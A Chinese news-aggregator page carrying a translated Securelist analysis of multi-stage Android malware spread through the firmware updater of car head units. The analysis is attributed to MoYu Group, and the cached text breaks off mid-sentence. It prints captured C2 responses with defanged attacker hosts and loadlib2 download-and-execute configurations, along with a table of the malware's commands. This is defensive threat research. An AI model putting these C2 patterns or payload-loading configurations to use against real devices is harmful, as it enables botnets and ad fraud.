恶意软件感染基于Android的车载主机固件

Hacker News Top 新闻

摘要

一种针对基于Android的车载主机的新型恶意软件被发现,通过固件更新传播以促进广告欺诈和代理僵尸网络,归因于MoYu Group。

暂无内容
查看原文
查看缓存全文

缓存时间: 2026/08/23 13:41

# 车内的隐形乘客 来源:https://securelist.com/android-head-unit-malware/121106/ 在2026年6月监测Android威胁时,我们发现了一种新型的Android恶意软件。其异常之处在于:它像普通用户应用一样安装,却完全未尝试伪装成合法软件——它没有任何用户界面。这使我们怀疑该应用可能在用户不知情的情况下被安装到了设备上。进一步调查证实了这一假设,并让我们得以重构整个感染链。 **关键发现:** - 我们识别出新的Android恶意软件:一个多阶段下载器,其最终目的是广告欺诈和创建代理僵尸网络。 - 该恶意软件通过基于Android的车载主机固件的内置更新程序传播。这是首次记录到的在车载主机上发现的、具有针对该类设备特有感染链的恶意软件案例。 - 我们以高置信度将此活动归因于与BADBOX僵尸网络相关的威胁行为者——墨玉集团(MoYu Group)。 卡巴斯基安全解决方案使用以下检测名称检测上述威胁: - HEUR:Trojan-Dropper.AndroidOS.Agent.vu - HEUR:Trojan-Downloader.AndroidOS.Agent.ov - HEUR:Trojan-Proxy.AndroidOS.Zhima.* - HEUR:Trojan.AndroidOS.Vo1d.* ## 车载主机固件概述 车载主机是将多媒体功能与部分车辆控制功能结合的系统。车载主机可能是汽车原厂设备的一部分,也可能是后装升级产品。这类系统的主要攻击向量是通过物理访问进行破坏,以及车载主机操作系统或组件中的漏洞,我们之前都已报道过(https://securelist.com/mercedes-benz-head-unit-security-research/115218/)。 在某些情况下,车载主机运行Android系统,这主要是因为对制造商来说很方便:Android的源代码已经考虑了车载主机内的使用场景。Android还允许制造商在构建过程中添加自己的系统应用程序,他们可以用于各种目的:定制用户界面、添加根据供应商需求定制的系统组件等。大多数为Android设备开发的应用程序也可以在基于Android的车载主机上运行,恶意软件也是如此。 尽管如此,很难想象某些类别的针对智能手机的恶意软件会被用于攻击车载主机。银行木马就是一个很好的例子:由于移动银行几乎只在智能手机上使用,在车载主机上感染银行木马将是浪费攻击者的资源。值得注意的是,车载主机通常包含SIM卡插槽并可连接互联网,从而支持导航和软件更新等功能。由于车载主机通常对攻击者而言不具有价值,“经典”Android恶意软件更可能的攻击场景之一是感染设备,将其招募到僵尸网络中——类似于对物联网设备的攻击。在我们的研究中,正是发现了这类恶意软件。 DoFun车载主机的固件设计使得攻击者能够分发恶意软件。我们已就该分发方案通知了厂商,他们随后报告修复了安全问题。以下是整个感染链: [车载主机感染方案](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/20221354/head-unit-malware1.png) 让我们具体了解这些车载主机是如何被感染的。 ## TWCore 应用程序 TWCore 是一个合法的系统应用程序,负责收集分析数据和更新车载主机软件。让我们仔细看看更新功能是如何工作的。 这个过程相当简单。一个托管在子域名`cardoor[.]cn`上的MQTT消息代理会发送一条消息,其中包含需要在车载主机上下载和安装的APK文件信息。值得注意的是,描述此消息的对象包含一个`installNotExists`字段,这是一个可设置为true或false的布尔标志。此标志允许TWCore安装设备上最初不存在的应用程序。 当 installNotExists = false 时,TWCore 仅检查应用程序是否已安装在设备上(https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/20221442/head-unit-malware2.png) APK 文件被下载到`/push/apk/`进行安装。TWCore 用于下载 APK 文件的路径(https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/20221522/head-unit-malware3.png) 我们的遥测数据在这些文件路径发现了先前未知的恶意软件。此外,我们的数据显示,在所有观察到的案例中,恶意软件都是由一个包名为`com.tw.core`的应用程序安装的,这与TWCore的包名相符。 接下来,我们将分解由TWCore安装的恶意软件:JarService释放器。 ## 阶段1:JarService 释放器 如前所述,JarService 是一个小型释放器应用程序,没有任何用户界面。它解密存储在木马代码中加密块内的数据。每个块都使用单字节密钥进行XOR加密,该密钥在各块之间线性递增。解密后的数据包含有关有效载荷版本和入口点的序列化信息,以及恶意软件自身的代码用于进一步加载。 解密并反序列化阶段2有效载荷信息(https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/20221611/head-unit-malware4.png) 在我们分析的JarService版本中,下一阶段有效载荷的入口点是`com.c.j.qbh`类的`wa`方法。 ## 阶段2:加载器 此阶段的有效载荷是一个恶意加载器。其代码包含加密字符串,随后用作类名,通过反射机制执行阶段3的有效载荷。加载器通过POST请求将植入信息发送到攻击者的一个服务器。 向C2服务器发送请求的示例: ``` { "userId":"REDACTED", "dexVersion":"1.7", "dexType":1, "channelId":"2039", "packageName":"com.tw.jar1", "appVersion":12, "appName":"JarService" } ``` 作为对POST请求的响应,C2服务器返回用于下载阶段3有效载荷的链接。以下是C2响应的示例: ``` { "code":200, "data":{ "dexUrl":"hxxp://144.217.243[.]201/vr34der34/dex3.68.png", "dexVersion":3.680, "status":0 } } ``` 木马使用`data`对象中`dexUrl`字段的链接下载用于加载下一阶段的序列化数据。此数据以一个单字节整数开头,该整数是用于解密加载器代码中字符串的密钥。紧接着此数字之后是一个四字节浮点值,用于XOR解密阶段3的有效载荷,而该有效载荷本身位于这些密钥之后。 解密阶段3有效载荷(https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/20221652/head-unit-malware5.png) 在解密后的有效载荷中,入口点是`com.ast.sdk.BillingMain`类的`init`方法,如下图所示。 阶段3有效载荷的入口点(https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/20221750/head-unit-malware6.png) 在分析此阶段时,我们注意到下一阶段有效载荷的下载链接包含一个版本号。我们决定尝试其他版本号以获取不同的有效载荷版本,最终获得了七个不同的变体,我们在本报告末尾的“妥协指标”下列出了它们。 最早的版本号为3.57,使用的解码算法与上述不同。这可能表明感染链的早期版本在JarService和阶段3有效载荷之间使用了不同的加载器。 ## 阶段3:点击器/反向代理加载器 在此阶段,恶意软件默认每90分钟向`/cpc/api/task`发送一个POST请求,其中包含有关受感染设备的信息(显示分辨率、设备型号、连接的Wi-Fi网络的SSID、MAC地址等)以及木马的配置版本。如果配置过期,C2服务器将返回包含新C2地址和发送HTTP请求新路径的更新配置。 以下是响应示例。请注意,在我们进行研究时,最新的配置版本是3.82。 ``` { "code":100, "data":{ "configVersion":3.820, "hosts":["hxxp://t2.kshahnd[.]sbs","hxxp://t2.mdsjhd[.]sbs","hxxp://t2.nmnsny[.]sbs","hxxps://t2.nmnsny[.]sbs"], "interval":5500000, "reportApi":"/cpc/api/report", "tagName":"config", "taskApi":"/cpc/api/task", "updates":["hxxp://a2.kshahnd[.]sbs","hxxp://a2.mdsjhd[.]sbs","hxxp://a2.nmnsny[.]sbs","hxxps://a2.nmnsny[.]sbs"], "vn":1.010 } } ``` 如果配置版本不需要更新,C2服务器会返回整数命令标识符,攻击者称之为`productId`。木马将每个标识符映射到命令信息,这些信息使用SharedPreferences API作为序列化JSON对象存储。每个标识符也有自己的版本,以UNIX时间戳表示。如果C2响应包含未知的`productId`或其版本过期,恶意软件会向攻击者服务器的`/cpc/api/xml`发送GET请求,以获取所有此类标识符的命令内容。C2服务器会为每个未知标识符响应命令信息。 以下是响应示例: ```json { "code":200, "data":[ { "productId":979, "script":"{\n \"loadType\": 1,\n \"reload\": true,\n \"method\": \"start\",\n \"url2\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n \"md52\": \"de77c3303e93c9450424759f1741441c\",\n \"name\": \"zhima\",\n \"className\": \"com.miyc.transfer.Client\",\n \"thread\": true,\n \"tagName\": \"loadlib2\",\n \"params\": [\n {\n \"type\": \"Context\"\n },\n {\n \"type\": \"String\",\n \"value\": \"107.151.248[.]132\"\n },\n {\n \"type\": \"String\",\n \"value\": \"1002\"\n },\n {\n \"type\": \"int\",\n \"value\": 1337\n },\n {\n \"type\": \"int\",\n \"value\": 7777\n },\n {\n \"type\": \"int\",\n \"value\": 8888\n },\n {\n \"type\": \"int\",\n \"value\": 15000\n }\n ],\n \"url\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n \"md5\": \"de77c3303e93c9450424759f1741441c\"\n}", "version":1778650942 }, { "productId":1019, "script":"{\n \"loadType\": 1,\n \"reload\": true,\n \"method\": \"start\",\n \"url2\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n \"md52\": \"de77c3303e93c9450424759f1741441c\",\n \"name\": \"zhima\",\n \"className\": \"com.miyc.transfer.Client\",\n \"thread\": true,\n \"tagName\": \"loadlib2\",\n \"params\": [\n {\n \"type\": \"Context\"\n },\n {\n \"type\": \"String\",\n \"value\": \"128.14.210[.]58\"\n },\n {\n \"type\": \"String\",\n \"value\": \"1002\"\n },\n {\n \"type\": \"int\",\n \"value\": 9999\n },\n {\n \"type\": \"int\",\n \"value\": 7777\n },\n {\n \"type\": \"int\",\n \"value\": 8888\n },\n {\n \"type\": \"int\",\n \"value\": 15000\n }\n ],\n \"url\": \"hxxp://144.217.243[.]201/vr34der34/sh65.io\",\n \"md5\": \"de77c3303e93c9450424759f1741441c\"\n}", "version":1766001509 }, { "productId":3505, "script":"{\n\"tagName\":\"http\",\n\"url\":\"hxxps://api.kookjar[.]com/sayhi?channel=daihai&uuid={get_uuid_10}\"\n}", "version":1776656317 } ], "msg":"" } ``` 命令信息包含一个`tagName`字段,即命令名称。代码将每个名称映射到负责执行它的相应类。 可执行命令列表(https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/08/20221919/head-unit-malware7.png) 在我们进行研究时,攻击者已实现了九个命令。下表列出了命令名称、简要描述和参数。这些命令的功能表明,该恶意软件可用于显示广告、进行广告欺诈(作为点击器)以及下载额外的恶意代码。 | 命令名称 | 描述 | 参数 | | :--- | :--- | :--- | | `return` | 从SharedPreferences返回一个值。 | `key`:要返回其值的键 | | `copy` | 设置剪贴板的内容。 | `text`:从SharedPreferences返回其值作为剪贴板内容的键<br>`url`:用于下载gzip压缩数据的链接(可选);此数据随后与text键的值连接,使用` `(5个空格)作为分隔符 | | `http` | 向指定资源发出POST/GET HTTP请求,如果受指示,则将响应保存在SharedPreferences中指定的键下。 | `url`:资源地址<br>`method`:HTTP方法名称(可选)<br>`startLabel`:要从资源保存的数据开始标记(可选)<br>`endLabel`:要从资源保存的数据结束标记(可选)<br>`valueLabel`:保存值的键(可选)<br>`header`:HTTP请求的请求头字典(可选)<br>`content`:POST请求的内容(可选) | | `web` | 在WebView中打开一个链接并在其中执行任意JavaScript代码。 | `url`:在WebView中打开的链接<br>`js`:在WebView中执行的base64编码的JavaScript代码;当url参数为空或不存在时使用<br>`corejs`:当资源在WebView中加载时执行的JavaScript代码(可选)<br>`param`:用于启动WebView的参数字符串字典<br>`client`:如果存在此键,则使用WebViewClient手动处理重定向<br>`time`:任务超时 | | `loadlib` | 在发布此报告时尚未完全实现。 | – | | `loadlib2` | 下载并执行任意代码。 | `url`:下载有效载荷的地址<br>`name`:正在下载的模块名称<br>`md5`:有效载荷的MD5哈希值<br>`clear`:要删除的有效载荷名称的逗号分隔列表(可选)<br>`params`:用于启动有效载荷的参数数组<br>`className`:有效载荷入口点的类名<br>`method`:有效载荷入口点处的虚拟方法名称<br>`cmethod`:用于实例化入口点类的静态方法名称(可选)<br>`thread`:标志;如果未设置此标志,有效载荷将在单独线程中运行<br>`reload`:设置时,重新启动已加载模块的标志 | | `loadlib3` | 在发布此报告时尚未完全实现。 | – | | `deeplink` | 在浏览器中打开一个资源。 | `url`:资源链接 | | `traceroute` | 通过ICMP ping检查资源可用性。 | `host`:要检查的资源的逗号分隔列表 | 然而,攻击者在实际攻击中只使用了这些命令中相对较小的一部分。如上面的C2响应示例所示,在发布本报告时,攻击者正在使用`loadlib2`和`http`命令。 通过`loadlib2`命令下载的有效载荷是一个名为“zhima”的反向代理模块,诺基亚Deepfield应急响应团队的研究人员几乎在我们发现的同时在电视机顶盒中独立发现了它,并且也在他们的报告(https://github.com/deepfield/public-research/blob/main/ipmoyu/report.md)中进行了描述。这证实了攻击者的最终目标是构建代理僵尸网络。 在调查此攻击链阶段时,我们注意到zhima下载链接也包含一个版本号。与之前的情况一样...

相似文章

来自谷歌的新型安卓恶意软件

Hacker News Top

F-Droid认为,谷歌的Android开发者验证程序(ADV)要求开发者注册并付费才能分发应用,这实际上就是一种恶意软件,会阻止未经批准的软件,影响数十亿设备。

本田思域与邪恶泊车员

Hacker News Top

一位安全研究人员揭示了本田思域车载信息娱乐系统(headunit)会接受使用公开已知的AOSP测试密钥进行的未签名更新,从而使得通过物理USB访问可以实现“邪恶泊车员”(evil valet)攻击。还发布了如ota-builder和apk-rebuilder等工具,以方便进一步的逆向工程。

“Popa”僵尸网络与以色列上市公司关联

Krebs on Security

研究人员将Popa Android僵尸网络与以色列公司Alarum Technologies通过其NetNut住宅代理服务关联起来,该僵尸网络已入侵数百万台电视盒子用于广告欺诈和数据抓取。